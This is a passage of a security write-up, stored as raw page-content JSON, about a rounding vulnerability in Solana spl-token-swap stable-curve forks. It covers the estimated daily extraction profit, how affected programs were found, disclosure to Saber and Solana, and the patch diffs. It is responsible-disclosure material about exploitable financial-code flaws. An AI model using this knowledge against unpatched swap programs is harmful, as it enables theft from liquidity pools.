type":23,"tag":134,"props":1264,"children":1266},{"className":1265},[1211,1261],[1267,1273],{"type":23,"tag":134,"props":1268,"children":1270},{"className":1269},[1211,1261],[1271],{"type":28,"value":1272},"−",{"type":23,"tag":134,"props":1274,"children":1276},{"className":1275},[1211,1261],[1277],{"type":28,"value":1278},"8",{"type":23,"tag":134,"props":1280,"children":1282},{"className":1281},[1211,28],[1283],{"type":23,"tag":134,"props":1284,"children":1286},{"className":1285},[1211],[1287],{"type":28,"value":1288}," BTC",{"type":23,"tag":134,"props":1290,"children":1294},{"className":1291,"style":1293},[1292],"mspace","margin-right:0.2222em;",[],{"type":23,"tag":134,"props":1296,"children":1299},{"className":1297},[1298],"mbin",[1300],{"type":28,"value":1301},"∗",{"type":23,"tag":134,"props":1303,"children":1305},{"className":1304,"style":1293},[1292],[],{"type":23,"tag":134,"props":1307,"children":1309},{"className":1308},[1200],[1310,1315,1321,1328,1333,1339,1349,1353,1358],{"type":23,"tag":134,"props":1311,"children":1314},{"className":1312,"style":1313},[1205],"height:1em;vertical-align:-0.25em;",[],{"type":23,"tag":134,"props":1316,"children":1318},{"className":1317},[1211],[1319],{"type":28,"value":1320},"$41",{"type":23,"tag":134,"props":1322,"children":1325},{"className":1323},[1324],"mpunct",[1326],{"type":28,"value":1327},",",{"type":23,"tag":134,"props":1329,"children":1332},{"className":1330,"style":1331},[1292],"margin-right:0.1667em;",[],{"type":23,"tag":134,"props":1334,"children":1336},{"className":1335},[1211],[1337],{"type":28,"value":1338},"400/",{"type":23,"tag":134,"props":1340,"children":1342},{"className":1341},[1211,28],[1343],{"type":23,"tag":134,"props":1344,"children":1346},{"className":1345},[1211],[1347],{"type":28,"value":1348},"BTC",{"type":23,"tag":134,"props":1350,"children":1352},{"className":1351,"style":1293},[1292],[],{"type":23,"tag":134,"props":1354,"children":1356},{"className":1355},[1298],[1357],{"type":28,"value":1301},{"type":23,"tag":134,"props":1359,"children":1361},{"className":1360,"style":1293},[1292],[],{"type":23,"tag":134,"props":1363,"children":1365},{"className":1364},[1200],[1366,1371,1377,1387,1392,1398],{"type":23,"tag":134,"props":1367,"children":1370},{"className":1368,"style":1369},[1205],"height:0.8389em;vertical-align:-0.1944em;",[],{"type":23,"tag":134,"props":1372,"children":1374},{"className":1373},[1211],[1375],{"type":28,"value":1376},"150",{"type":23,"tag":134,"props":1378,"children":1380},{"className":1379},[1211,28],[1381],{"type":23,"tag":134,"props":1382,"children":1384},{"className":1383},[1211],[1385],{"type":28,"value":1386}," swaps",{"type":23,"tag":134,"props":1388,"children":1391},{"className":1389,"style":1390},[1292],"margin-right:0.2778em;",[],{"type":23,"tag":134,"props":1393,"children":1396},{"className":1394},[1395],"mrel",[1397],{"type":28,"value":257},{"type":23,"tag":134,"props":1399,"children":1401},{"className":1400,"style":1390},[1292],[],{"type":23,"tag":134,"props":1403,"children":1405},{"className":1404},[1200],[1406,1411],{"type":23,"tag":134,"props":1407,"children":1410},{"className":1408,"style":1409},[1205],"height:0.8056em;vertical-align:-0.0556em;",[],{"type":23,"tag":134,"props":1412,"children":1414},{"className":1413},[1211],[1415],{"type":28,"value":1416},"$0.0621",{"type":23,"tag":24,"props":1418,"children":1419},{},[1420],{"type":28,"value":1421},"At 200 transactions per second, we can extract just over a million dollars per day.",{"type":23,"tag":24,"props":1423,"children":1424},{},[1425],{"type":28,"value":1426},"We're well on our way to becoming a millionaire!",{"type":23,"tag":61,"props":1428,"children":1430},{"id":1429},"patch",[1431],{"type":28,"value":1432},"Patch",{"type":23,"tag":24,"props":1434,"children":1435},{},[1436],{"type":28,"value":1437},"Now that we had a proof-of-concept going, it was time to contact the relevant teams.",{"type":23,"tag":24,"props":1439,"children":1440},{},[1441],{"type":28,"value":1442},"By grepping through Solana logs for the swap instruction log, we were able to identify many potential spl-token-swap forks.",{"type":23,"tag":87,"props":1444,"children":1448},{"code":1445,"language":1446,"meta":7,"className":1447,"style":7},"solana logs -um | grep 'Instruction: Swap' -B1\n","bash","language-bash shiki shiki-themes slack-dark",[1449],{"type":23,"tag":92,"props":1450,"children":1451},{"__ignoreMap":7},[1452],{"type":23,"tag":134,"props":1453,"children":1454},{"class":136,"line":137},[1455,1459,1465,1470,1475,1480,1485],{"type":23,"tag":134,"props":1456,"children":1457},{"style":264},[1458],{"type":28,"value":17},{"type":23,"tag":134,"props":1460,"children":1462},{"style":1461},"--shiki-default:#CE9178",[1463],{"type":28,"value":1464}," logs",{"type":23,"tag":134,"props":1466,"children":1467},{"style":1461},[1468],{"type":28,"value":1469}," -um",{"type":23,"tag":134,"props":1471,"children":1472},{"style":168},[1473],{"type":28,"value":1474}," |",{"type":23,"tag":134,"props":1476,"children":1477},{"style":264},[1478],{"type":28,"value":1479}," grep",{"type":23,"tag":134,"props":1481,"children":1482},{"style":1461},[1483],{"type":28,"value":1484}," 'Instruction: Swap'",{"type":23,"tag":134,"props":1486,"children":1487},{"style":1461},[1488],{"type":28,"value":1489}," -B1\n",{"type":23,"tag":24,"props":1491,"children":1492},{},[1493],{"type":28,"value":1494},"With some Google dorking, we were able to identify many of these programs.",{"type":23,"tag":87,"props":1496,"children":1498},{"code":1497},"1SoLTvbiicqXZ3MJmnTL2WYXKLYpuxwHpa4yYrVQaMZ  - \"1 SOL\"\n9W959DqEETiGZocYWCQPaJ6sBmUzgfxXfqGeTEdp3aQP - Orca Swap Program v2\nSCHAtsf8mbjyjiv4LkhLKutTf6JnZAbdJKFkXQNMFHZ  - \"Sencha Swap\"\nSSwapUtytfBdBn1b9NUGG6foMVPtcWgpRU32HToDUZr  - \"Saros Swap\"\nSSwpkEEcbUqx4vtoEByFjSkhKdCT862DNVb52nZg1UZ  - Saber Stable Swap Program\nSSwpMgqNDsyV7mAgN9ady4bDVu5ySjmmXejXvy2vLt1  - Step Finance Swap Program\nSwaPpA9LAaLfeLi3a68M4DjnLqgtticKg6CnyNwgAC8  - Swap Program\n",[1499],{"type":23,"tag":92,"props":1500,"children":1501},{"__ignoreMap":7},[1502],{"type":28,"value":1497},{"type":23,"tag":24,"props":1504,"children":1505},{},[1506],{"type":28,"value":1507},"Now it was time to contact these teams.",{"type":23,"tag":24,"props":1509,"children":1510},{},[1511],{"type":28,"value":1512},"Of these protocols, Saber was the only one which had BTC stable swaps, which would make exploitation immediately profitable. Luckily, they were also the most responsive, triaging and patching the vulnerability in just over one day.",{"type":23,"tag":24,"props":1514,"children":1515},{},[1516],{"type":28,"value":1517},"After some discussion, they decided to port a patch from Curve.fi, subtracting one from the output amount.",{"type":23,"tag":87,"props":1519,"children":1521},{"code":1520,"language":127,"meta":7,"className":128,"style":7},"-        let dy = swap_destination_amount.checked_sub(y)?;\n+        // https://github.com/curvefi/curve-contract/blob/b0bbf77f8f93c9c5f4e415bce9cd71f0cdee960e/contracts/pool-templates/base/SwapTemplateBase.vy#L466\n+        let dy = swap_destination_amount.checked_sub(y)?.checked_sub(1)?;\n",[1522],{"type":23,"tag":92,"props":1523,"children":1524},{"__ignoreMap":7},[1525,1579,1592],{"type":23,"tag":134,"props":1526,"children":1527},{"class":136,"line":137},[1528,1533,1537,1542,1546,1551,1555,1559,1563,1567,1571,1575],{"type":23,"tag":134,"props":1529,"children":1530},{"style":168},[1531],{"type":28,"value":1532},"-",{"type":23,"tag":134,"props":1534,"children":1535},{"style":151},[1536],{"type":28,"value":227},{"type":23,"tag":134,"props":1538,"children":1539},{"style":162},[1540],{"type":28,"value":1541}," dy",{"type":23,"tag":134,"props":1543,"children":1544},{"style":168},[1545],{"type":28,"value":171},{"type":23,"tag":134,"props":1547,"children":1548},{"style":162},[1549],{"type":28,"value":1550}," swap_destination_amount",{"type":23,"tag":134,"props":1552,"children":1553},{"style":168},[1554],{"type":28,"value":720},{"type":23,"tag":134,"props":1556,"children":1557},{"style":264},[1558],{"type":28,"value":406},{"type":23,"tag":134,"props":1560,"children":1561},{"style":179},[1562],{"type":28,"value":272},{"type":23,"tag":134,"props":1564,"children":1565},{"style":162},[1566],{"type":28,"value":282},{"type":23,"tag":134,"props":1568,"children":1569},{"style":179},[1570],{"type":28,"value":296},{"type":23,"tag":134,"props":1572,"children":1573},{"style":168},[1574],{"type":28,"value":324},{"type":23,"tag":134,"props":1576,"children":1577},{"style":179},[1578],{"type":28,"value":182},{"type":23,"tag":134,"props":1580,"children":1581},{"class":136,"line":147},[1582,1587],{"type":23,"tag":134,"props":1583,"children":1584},{"style":168},[1585],{"type":28,"value":1586},"+",{"type":23,"tag":134,"props":1588,"children":1589},{"style":141},[1590],{"type":28,"value":1591},"        // https://github.com/curvefi/curve-contract/blob/b0bbf77f8f93c9c5f4e415bce9cd71f0cdee960e/contracts/pool-templates/base/SwapTemplateBase.vy#L466\n",{"type":23,"tag":134,"props":1593,"children":1594},{"class":136,"line":185},[1595,1599,1603,1607,1611,1615,1619,1623,1627,1631,1635,1639,1643,1647,1651,1655,1659],{"type":23,"tag":134,"props":1596,"children":1597},{"style":168},[1598],{"type":28,"value":1586},{"type":23,"tag":134,"props":1600,"children":1601},{"style":151},[1602],{"type":28,"value":227},{"type":23,"tag":134,"props":1604,"children":1605},{"style":162},[1606],{"type":28,"value":1541},{"type":23,"tag":134,"props":1608,"children":1609},{"style":168},[1610],{"type":28,"value":171},{"type":23,"tag":134,"props":1612,"children":1613},{"style":162},[1614],{"type":28,"value":1550},{"type":23,"tag":134,"props":1616,"children":1617},{"style":168},[1618],{"type":28,"value":720},{"type":23,"tag":134,"props":1620,"children":1621},{"style":264},[1622],{"type":28,"value":406},{"type":23,"tag":134,"props":1624,"children":1625},{"style":179},[1626],{"type":28,"value":272},{"type":23,"tag":134,"props":1628,"children":1629},{"style":162},[1630],{"type":28,"value":282},{"type":23,"tag":134,"props":1632,"children":1633},{"style":179},[1634],{"type":28,"value":296},{"type":23,"tag":134,"props":1636,"children":1637},{"style":168},[1638],{"type":28,"value":301},{"type":23,"tag":134,"props":1640,"children":1641},{"style":264},[1642],{"type":28,"value":406},{"type":23,"tag":134,"props":1644,"children":1645},{"style":179},[1646],{"type":28,"value":272},{"type":23,"tag":134,"props":1648,"children":1649},{"style":205},[1650],{"type":28,"value":1214},{"type":23,"tag":134,"props":1652,"children":1653},{"style":179},[1654],{"type":28,"value":296},{"type":23,"tag":134,"props":1656,"children":1657},{"style":168},[1658],{"type":28,"value":324},{"type":23,"tag":134,"props":1660,"children":1661},{"style":179},[1662],{"type":28,"value":182},{"type":23,"tag":24,"props":1664,"children":1665},{},[1666,1668,1675],{"type":28,"value":1667},"For reference, here is the ",{"type":23,"tag":31,"props":1669,"children":1672},{"href":1670,"rel":1671},"https://github.com/curvefi/curve-contract/blob/b0bbf77f8f93c9c5f4e415bce9cd71f0cdee960e/contracts/pool-templates/base/SwapTemplateBase.vy#L466",[35],[1673],{"type":28,"value":1674},"Curve.fi implementation",{"type":28,"value":720},{"type":23,"tag":87,"props":1677,"children":1681},{"code":1678,"language":1679,"meta":7,"className":1680,"style":7},"    dy: uint256 = xp[j] - y - 1  # -1 just in case there were some rounding errors\n    dy_fee: uint256 = dy * self.fee / FEE_DENOMINATOR\n","solidity","language-solidity shiki shiki-themes slack-dark",[1682],{"type":23,"tag":92,"props":1683,"children":1684},{"__ignoreMap":7},[1685,1748],{"type":23,"tag":134,"props":1686,"children":1687},{"class":136,"line":137},[1688,1693,1698,1703,1707,1712,1716,1721,1725,1730,1735,1739,1743],{"type":23,"tag":134,"props":1689,"children":1690},{"style":179},[1691],{"type":28,"value":1692},"    dy",{"type":23,"tag":134,"props":1694,"children":1695},{"style":168},[1696],{"type":28,"value":1697},":",{"type":23,"tag":134,"props":1699,"children":1700},{"style":597},[1701],{"type":28,"value":1702}," uint256",{"type":23,"tag":134,"props":1704,"children":1705},{"style":168},[1706],{"type":28,"value":171},{"type":23,"tag":134,"props":1708,"children":1709},{"style":179},[1710],{"type":28,"value":1711}," xp[j] ",{"type":23,"tag":134,"props":1713,"children":1714},{"style":168},[1715],{"type":28,"value":1532},{"type":23,"tag":134,"props":1717,"children":1718},{"style":179},[1719],{"type":28,"value":1720}," y ",{"type":23,"tag":134,"props":1722,"children":1723},{"style":168},[1724],{"type":28,"value":1532},{"type":23,"tag":134,"props":1726,"children":1727},{"style":205},[1728],{"type":28,"value":1729}," 1",{"type":23,"tag":134,"props":1731,"children":1732},{"style":179},[1733],{"type":28,"value":1734},"  # ",{"type":23,"tag":134,"props":1736,"children":1737},{"style":168},[1738],{"type":28,"value":1532},{"type":23,"tag":134,"props":1740,"children":1741},{"style":205},[1742],{"type":28,"value":1214},{"type":23,"tag":134,"props":1744,"children":1745},{"style":179},[1746],{"type":28,"value":1747}," just in case there were some rounding errors\n",{"type":23,"tag":134,"props":1749,"children":1750},{"class":136,"line":147},[1751,1756,1760,1764,1768,1773,1778,1783,1788],{"type":23,"tag":134,"props":1752,"children":1753},{"style":179},[1754],{"type":28,"value":1755},"    dy_fee",{"type":23,"tag":134,"props":1757,"children":1758},{"style":168},[1759],{"type":28,"value":1697},{"type":23,"tag":134,"props":1761,"children":1762},{"style":597},[1763],{"type":28,"value":1702},{"type":23,"tag":134,"props":1765,"children":1766},{"style":168},[1767],{"type":28,"value":171},{"type":23,"tag":134,"props":1769,"children":1770},{"style":179},[1771],{"type":28,"value":1772}," dy ",{"type":23,"tag":134,"props":1774,"children":1775},{"style":168},[1776],{"type":28,"value":1777},"*",{"type":23,"tag":134,"props":1779,"children":1780},{"style":179},[1781],{"type":28,"value":1782}," self.fee ",{"type":23,"tag":134,"props":1784,"children":1785},{"style":168},[1786],{"type":28,"value":1787},"/",{"type":23,"tag":134,"props":1789,"children":1790},{"style":179},[1791],{"type":28,"value":1792}," FEE_DENOMINATOR\n",{"type":23,"tag":24,"props":1794,"children":1795},{},[1796,1798,1805],{"type":28,"value":1797},"We originally thought this was an additional patch that didn't get ported over to Solana. However, it turns out this code was actually included in the ",{"type":23,"tag":31,"props":1799,"children":1802},{"href":1800,"rel":1801},"https://github.com/curvefi/curve-contract/commit/0fd801df7488d89f0e2fc81e760942d7858b01d6",[35],[1803],{"type":28,"value":1804},"original commit",{"type":28,"value":1806},", not as an additional security patch.",{"type":23,"tag":87,"props":1808,"children":1810},{"code":1809},"commit 0fd801df7488d89f0e2fc81e760942d7858b01d6\nAuthor: Ben Hauser \u003Cben@hauser.id>\nDate:   Mon Aug 31 02:35:30 2020 +0300\n\n    feat: add base pool without lending\n",[1811],{"type":23,"tag":92,"props":1812,"children":1813},{"__ignoreMap":7},[1814],{"type":28,"value":1809},{"type":23,"tag":24,"props":1816,"children":1817},{},[1818,1820,1827],{"type":28,"value":1819},"The commit adding stable swaps to SPL was ",{"type":23,"tag":31,"props":1821,"children":1824},{"href":1822,"rel":1823},"https://github.com/solana-labs/solana-program-library/commit/d62ddd2b94d5d2daaa97460b165d288610a87623",[35],[1825],{"type":28,"value":1826},"made a few months later",{"type":28,"value":1828},", meaning there was some disconnect when porting the code. Either the rounding was thought to be unnecesary, or it was simply forgotten.",{"type":23,"tag":87,"props":1830,"children":1832},{"code":1831},"commit d62ddd2b94d5d2daaa97460b165d288610a87623\nAuthor: Yuriy Savchenko \u003Cyuriy.savchenko@gmail.com>\nDate:   Tue Nov 17 15:13:18 2020 +0200\n\n    Added stable curve invariant to the token swap smart contract (#838)\n\n    * Added stable curve invariant to the token swap smart contract\n\n    * Fixed formatting\n\n    * Added missing stable curve constraints\n\n    * Symbol renames to make math clearer\n\n    * Small refactoring according to PR comments, fixes for JS tests\n",[1833],{"type":23,"tag":92,"props":1834,"children":1835},{"__ignoreMap":7},[1836],{"type":28,"value":1831},{"type":23,"tag":24,"props":1838,"children":1839},{},[1840,1842,1849],{"type":28,"value":1841},"After contacting some other swap projects which were unaffected, we decided to notify the Solana team in order to get a patch upstreamed to ",{"type":23,"tag":31,"props":1843,"children":1846},{"href":1844,"rel":1845},"https://github.com/solana-labs/solana-program-library",[35],[1847],{"type":28,"value":1848},"the Solana Program Library",{"type":28,"value":720},{"type":23,"tag":24,"props":1851,"children":1852},{},[1853],{"type":28,"value":1854},"While few projects deploy the swap program from the Solana Program Library, the SPL program is meant as a reference implementation, and many exchanges fork their own code off of it.",{"type":23,"tag":24,"props":1856,"children":1857},{},[1858,1865],{"type":23,"tag":31,"props":1859,"children":1862},{"href":1860,"rel":1861},"https://github.com/joncinque",[35],[1863],{"type":28,"value":1864},"@joncinque",{"type":28,"value":1866}," helped triage this patch. We also asked him for his thoughts on a more complete solution.",{"type":23,"tag":78,"props":1868,"children":1869},{},[1870],{"type":23,"tag":24,"props":1871,"children":1872},{},[1873],{"type":28,"value":1874},"Honestly, the idea of just subtracting 1 from the output will cover almost all situations correctly, so it's a good quick solution. I'll take a look to see if we can solve this for all situations through a correct application of checked_ceil_div, as with the constant product curve.",{"type":23,"tag":24,"props":1876,"children":1877},{},[1878,1880,1887,1889,1895],{"type":28,"value":1879},"After some thought, he helped ",{"type":23,"tag":31,"props":1881,"children":1884},{"href":1882,"rel":1883},"https://github.com/solana-labs/solana-program-library/pull/2942",[35],[1885],{"type":28,"value":1886},"introduce a PR",{"type":28,"value":1888}," which ceilings the computation in ",{"type":23,"tag":92,"props":1890,"children":1892},{"className":1891},[],[1893],{"type":28,"value":1894},"compute_new_destination_amount",{"type":28,"value":1896}," to correctly round within the stable curve math library.",{"type":23,"tag":87,"props":1898,"children":1900},{"code":1899,"language":127,"meta":7,"className":128,"style":7},"     // Solve for y by approximating: y**2 + b*y = c\n     let mut y_prev: U256;\n     let mut y = d_val;\n     for _ in 0..ITERATIONS {\n-        y_prev = y;\n-        y = (checked_u8_power(&y, 2)?.checked_add(c)?)\n-            .checked_div(checked_u8_mul(&y, 2)?.checked_add(b)?.checked_sub(d_val)?)?;\n-        if y == y_prev {\n+        let (y_new, _) = (checked_u8_power(&y, 2)?.checked_add(c)?)\n+            .checked_ceil_div(checked_u8_mul(&y, 2)?.checked_add(b)?.checked_sub(d_val)?)?;\n+        if y_new == y {\n             break;\n+        } else {\n+            y = y_new;\n         }\n",[1901],{"type":23,"tag":92,"props":1902,"children":1903},{"__ignoreMap":7},[1904,1912,1942,1969,1997,2021,2097,2201,2228,2323,2426,2453,2465,2484,2507],{"type":23,"tag":134,"props":1905,"children":1906},{"class":136,"line":137},[1907],{"type":23,"tag":134,"props":1908,"children":1909},{"style":141},[1910],{"type":28,"value":1911},"     // Solve for y by approximating: y**2 + b*y = c\n",{"type":23,"tag":134,"props":1913,"children":1914},{"class":136,"line":147},[1915,1920,1924,1929,1933,1938],{"type":23,"tag":134,"props":1916,"children":1917},{"style":151},[1918],{"type":28,"value":1919},"     let",{"type":23,"tag":134,"props":1921,"children":1922},{"style":151},[1923],{"type":28,"value":159},{"type":23,"tag":134,"props":1925,"children":1926},{"style":162},[1927],{"type":28,"value":1928}," y_prev",{"type":23,"tag":134,"props":1930,"children":1931},{"style":168},[1932],{"type":28,"value":1697},{"type":23,"tag":134,"props":1934,"children":1935},{"style":597},[1936],{"type":28,"value":1937}," U256",{"type":23,"tag":134,"props":1939,"children":1940},{"style":179},[1941],{"type":28,"value":182},{"type":23,"tag":134,"props":1943,"children":1944},{"class":136,"line":185},[1945,1949,1953,1957,1961,1965],{"type":23,"tag":134,"props":1946,"children":1947},{"style":151},[1948],{"type":28,"value":1919},{"type":23,"tag":134,"props":1950,"children":1951},{"style":151},[1952],{"type":28,"value":159},{"type":23,"tag":134,"props":1954,"children":1955},{"style":162},[1956],{"type":28,"value":165},{"type":23,"tag":134,"props":1958,"children":1959},{"style":168},[1960],{"type":28,"value":171},{"type":23,"tag":134,"props":1962,"children":1963},{"style":162},[1964],{"type":28,"value":176},{"type":23,"tag":134,"props":1966,"children":1967},{"style":179},[1968],{"type":28,"value":182},{"type":23,"tag":134,"props":1970,"children":1971},{"class":136,"line":221},[1972,1977,1981,1985,1989,1993],{"type":23,"tag":134,"props":1973,"children":1974},{"style":189},[1975],{"type":28,"value":1976},"     for",{"type":23,"tag":134,"props":1978,"children":1979},{"style":162},[1980],{"type":28,"value":197},{"type":23,"tag":134,"props":1982,"children":1983},{"style":151},[1984],{"type":28,"value":202},{"type":23,"tag":134,"props":1986,"children":1987},{"style":205},[1988],{"type":28,"value":208},{"type":23,"tag":134,"props":1990,"children":1991},{"style":168},[1992],{"type":28,"value":213},{"type":23,"tag":134,"props":1994,"children":1995},{"style":179},[1996],{"type":28,"value":218},{"type":23,"tag":134,"props":1998,"children":1999},{"class":136,"line":332},[2000,2004,2009,2013,2017],{"type":23,"tag":134,"props":2001,"children":2002},{"style":168},[2003],{"type":28,"value":1532},{"type":23,"tag":134,"props":2005,"children":2006},{"style":162},[2007],{"type":28,"value":2008},"        y_prev",{"type":23,"tag":134,"props":2010,"children":2011},{"style":168},[2012],{"type":28,"value":171},{"type":23,"tag":134,"props":2014,"children":2015},{"style":162},[2016],{"type":28,"value":165},{"type":23,"tag":134,"props":2018,"children":2019},{"style":179},[2020],{"type":28,"value":182},{"type":23,"tag":134,"props":2022,"children":2023},{"class":136,"line":438},[2024,2028,2033,2037,2041,2045,2049,2053,2057,2061,2065,2069,2073,2077,2081,2085,2089,2093],{"type":23,"tag":134,"props":2025,"children":2026},{"style":168},[2027],{"type":28,"value":1532},{"type":23,"tag":134,"props":2029,"children":2030},{"style":162},[2031],{"type":28,"value":2032},"        y",{"type":23,"tag":134,"props":2034,"children":2035},{"style":168},[2036],{"type":28,"value":171},{"type":23,"tag":134,"props":2038,"children":2039},{"style":179},[2040],{"type":28,"value":232},{"type":23,"tag":134,"props":2042,"children":2043},{"style":264},[2044],{"type":28,"value":267},{"type":23,"tag":134,"props":2046,"children":2047},{"style":179},[2048],{"type":28,"value":272},{"type":23,"tag":134,"props":2050,"children":2051},{"style":168},[2052],{"type":28,"value":277},{"type":23,"tag":134,"props":2054,"children":2055},{"style":162},[2056],{"type":28,"value":282},{"type":23,"tag":134,"props":2058,"children":2059},{"style":179},[2060],{"type":28,"value":242},{"type":23,"tag":134,"props":2062,"children":2063},{"style":205},[2064],{"type":28,"value":291},{"type":23,"tag":134,"props":2066,"children":2067},{"style":179},[2068],{"type":28,"value":296},{"type":23,"tag":134,"props":2070,"children":2071},{"style":168},[2072],{"type":28,"value":301},{"type":23,"tag":134,"props":2074,"children":2075},{"style":264},[2076],{"type":28,"value":306},{"type":23,"tag":134,"props":2078,"children":2079},{"style":179},[2080],{"type":28,"value":272},{"type":23,"tag":134,"props":2082,"children":2083},{"style":162},[2084],{"type":28,"value":315},{"type":23,"tag":134,"props":2086,"children":2087},{"style":179},[2088],{"type":28,"value":296},{"type":23,"tag":134,"props":2090,"children":2091},{"style":168},[2092],{"type":28,"value":324},{"type":23,"tag":134,"props":2094,"children":2095},{"style":179},[2096],{"type":28,"value":329},{"type":23,"tag":134,"props":2098,"children":2099},{"class":136,"line":466},[2100,2104,2108,2113,2117,2121,2125,2129,2133,2137,2141,2145,2149,2153,2157,2161,2165,2169,2173,2177,2181,2185,2189,2193,2197],{"type":23,"tag":134,"props":2101,"children":2102},{"style":168},[2103],{"type":28,"value":1532},{"type":23,"tag":134,"props":2105,"children":2106},{"style":168},[2107],{"type":28,"value":338},{"type":23,"tag":134,"props":2109,"children":2110},{"style":264},[2111],{"type":28,"value":2112},"checked_div",{"type":23,"tag":134,"props":2114,"children":2115},{"style":179},[2116],{"type":28,"value":272},{"type":23,"tag":134,"props":2118,"children":2119},{"style":264},[2120],{"type":28,"value":352},{"type":23,"tag":134,"props":2122,"children":2123},{"style":179},[2124],{"type":28,"value":272},{"type":23,"tag":134,"props":2126,"children":2127},{"style":168},[2128],{"type":28,"value":277},{"type":23,"tag":134,"props":2130,"children":2131},{"style":162},[2132],{"type":28,"value":282},{"type":23,"tag":134,"props":2134,"children":2135},{"style":179},[2136],{"type":28,"value":242},{"type":23,"tag":134,"props":2138,"children":2139},{"style":205},[2140],{"type":28,"value":291},{"type":23,"tag":134,"props":2142,"children":2143},{"style":179},[2144],{"type":28,"value":296},{"type":23,"tag":134,"props":2146,"children":2147},{"style":168},[2148],{"type":28,"value":301},{"type":23,"tag":134,"props":2150,"children":2151},{"style":264},[2152],{"type":28,"value":306},{"type":23,"tag":134,"props":2154,"children":2155},{"style":179},[2156],{"type":28,"value":272},{"type":23,"tag":134,"props":2158,"children":2159},{"style":162},[2160],{"type":28,"value":393},{"type":23,"tag":134,"props":2162,"children":2163},{"style":179},[2164],{"type":28,"value":296},{"type":23,"tag":134,"props":2166,"children":2167},{"style":168},[2168],{"type":28,"value":301},{"type":23,"tag":134,"props":2170,"children":2171},{"style":264},[2172],{"type":28,"value":406},{"type":23,"tag":134,"props":2174,"children":2175},{"style":179},[2176],{"type":28,"value":272},{"type":23,"tag":134,"props":2178,"children":2179},{"style":162},[2180],{"type":28,"value":415},{"type":23,"tag":134,"props":2182,"children":2183},{"style":179},[2184],{"type":28,"value":296},{"type":23,"tag":134,"props":2186,"children":2187},{"style":168},[2188],{"type":28,"value":324},{"type":23,"tag":134,"props":2190,"children":2191},{"style":179},[2192],{"type":28,"value":296},{"type":23,"tag":134,"props":2194,"children":2195},{"style":168},[2196],{"type":28,"value":324},{"type":23,"tag":134,"props":2198,"children":2199},{"style":179},[2200],{"type":28,"value":182},{"type":23,"tag":134,"props":2202,"children":2203},{"class":136,"line":479},[2204,2208,2212,2216,2220,2224],{"type":23,"tag":134,"props":2205,"children":2206},{"style":168},[2207],{"type":28,"value":1532},{"type":23,"tag":134,"props":2209,"children":2210},{"style":189},[2211],{"type":28,"value":444},{"type":23,"tag":134,"props":2213,"children":2214},{"style":162},[2215],{"type":28,"value":165},{"type":23,"tag":134,"props":2217,"children":2218},{"style":168},[2219],{"type":28,"value":454},{"type":23,"tag":134,"props":2221,"children":2222},{"style":162},[2223],{"type":28,"value":1928},{"type":23,"tag":134,"props":2225,"children":2226},{"style":179},[2227],{"type":28,"value":463},{"type":23,"tag":134,"props":2229,"children":2230},{"class":136,"line":497},[2231,2235,2239,2243,2247,2251,2255,2259,2263,2267,2271,2275,2279,2283,2287,2291,2295,2299,2303,2307,2311,2315,2319],{"type":23,"tag":134,"props":2232,"children":2233},{"style":168},[2234],{"type":28,"value":1586},{"type":23,"tag":134,"props":2236,"children":2237},{"style":151},[2238],{"type":28,"value":227},{"type":23,"tag":134,"props":2240,"children":2241},{"style":179},[2242],{"type":28,"value":232},{"type":23,"tag":134,"props":2244,"children":2245},{"style":162},[2246],{"type":28,"value":237},{"type":23,"tag":134,"props":2248,"children":2249},{"style":179},[2250],{"type":28,"value":242},{"type":23,"tag":134,"props":2252,"children":2253},{"style":162},[2254],{"type":28,"value":247},{"type":23,"tag":134,"props":2256,"children":2257},{"style":179},[2258],{"type":28,"value":252},{"type":23,"tag":134,"props":2260,"children":2261},{"style":168},[2262],{"type":28,"value":257},{"type":23,"tag":134,"props":2264,"children":2265},{"style":179},[2266],{"type":28,"value":232},{"type":23,"tag":134,"props":2268,"children":2269},{"style":264},[2270],{"type":28,"value":267},{"type":23,"tag":134,"props":2272,"children":2273},{"style":179},[2274],{"type":28,"value":272},{"type":23,"tag":134,"props":2276,"children":2277},{"style":168},[2278],{"type":28,"value":277},{"type":23,"tag":134,"props":2280,"children":2281},{"style":162},[2282],{"type":28,"value":282},{"type":23,"tag":134,"props":2284,"children":2285},{"style":179},[2286],{"type":28,"value":242},{"type":23,"tag":134,"props":2288,"children":2289},{"style":205},[2290],{"type":28,"value":291},{"type":23,"tag":134,"props":2292,"children":2293},{"style":179},[2294],{"type":28,"value":296},{"type":23,"tag":134,"props":2296,"children":2297},{"style":168},[2298],{"type":28,"value":301},{"type":23,"tag":134,"props":2300,"children":2301},{"style":264},[2302],{"type":28,"value":306},{"type":23,"tag":134,"props":2304,"children":2305},{"style":179},[2306],{"type":28,"value":272},{"type":23,"tag":134,"props":2308,"children":2309},{"style":162},[2310],{"type":28,"value":315},{"type":23,"tag":134,"props":2312,"children":2313},{"style":179},[2314],{"type":28,"value":296},{"type":23,"tag":134,"props":2316,"children":2317},{"style":168},[2318],{"type":28,"value":324},{"type":23,"tag":134,"props":2320,"children":2321},{"style":179},[2322],{"type":28,"value":329},{"type":23,"tag":134,"props":2324,"children":2325},{"class":136,"line":518},[2326,2330,2334,2338,2342,2346,2350,2354,2358,2362,2366,2370,2374,2378,2382,2386,2390,2394,2398,2402,2406,2410,2414,2418,2422],{"type":23,"tag":134,"props":2327,"children":2328},{"style":168},[2329],{"type":28,"value":1586},{"type":23,"tag":134,"props":2331,"children":2332},{"style":168},[2333],{"type":28,"value":338},{"type":23,"tag":134,"props":2335,"children":2336},{"style":264},[2337],{"type":28,"value":343},{"type":23,"tag":134,"props":2339,"children":2340},{"style":179},[2341],{"type":28,"value":272},{"type":23,"tag":134,"props":2343,"children":2344},{"style":264},[2345],{"type":28,"value":352},{"type":23,"tag":134,"props":2347,"children":2348},{"style":179},[2349],{"type":28,"value":272},{"type":23,"tag":134,"props":2351,"children":2352},{"style":168},[2353],{"type":28,"value":277},{"type":23,"tag":134,"props":2355,"children":2356},{"style":162},[2357],{"type":28,"value":282},{"type":23,"tag":134,"props":2359,"children":2360},{"style":179},[2361],{"type":28,"value":242},{"type":23,"tag":134,"props":2363,"children":2364},{"style":205},[2365],{"type":28,"value":291},{"type":23,"tag":134,"props":2367,"children":2368},{"style":179},[2369],{"type":28,"value":296},{"type":23,"tag":134,"props":2371,"children":2372},{"style":168},[2373],{"type":28,"value":301},{"type":23,"tag":134,"props":2375,"children":2376},{"style":264},[2377],{"type":28,"value":306},{"type":23,"tag":134,"props":2379,"children":2380},{"style":179},[2381],{"type":28,"value":272},{"type":23,"tag":134,"props":2383,"children":2384},{"style":162},[2385],{"type":28,"value":393},{"type":23,"tag":134,"props":2387,"children":2388},{"style":179},[2389],{"